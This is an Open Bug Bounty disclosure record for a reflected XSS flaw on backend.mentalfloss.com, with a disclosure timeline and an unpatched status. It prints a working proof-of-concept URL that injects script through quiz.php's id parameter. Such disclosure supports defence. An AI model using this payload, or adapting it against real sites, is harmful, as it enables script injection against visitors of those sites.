backend.mentalfloss.com XSS vulnerability

2016-12-17T23:07:00
ID OBB:198371
Type openbugbounty
Reporter Oc3f
Modified 2017-03-11T23:14:00

Description

Vulnerable URL:
http://backend.mentalfloss.com/quiz.php?id=%3C/script%3E%3Cscript%3Ealert(%27OPENBUGBOUNTY%27)%3C/script%3E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 28.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check backend.mentalfloss.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 17 December, 2016 23:07 GMT
Generic security notifications sent to website owner| 17 December, 2016 23:09 GMT
Customized security notification sent to website owner| 17 December, 2016 23:09 GMT
Notification sent to subscribers (without technical details)| 18 December, 2016 02:17 GMT
Vulnerability details disclosed by researcher| 11 March, 2017 23:14 GMT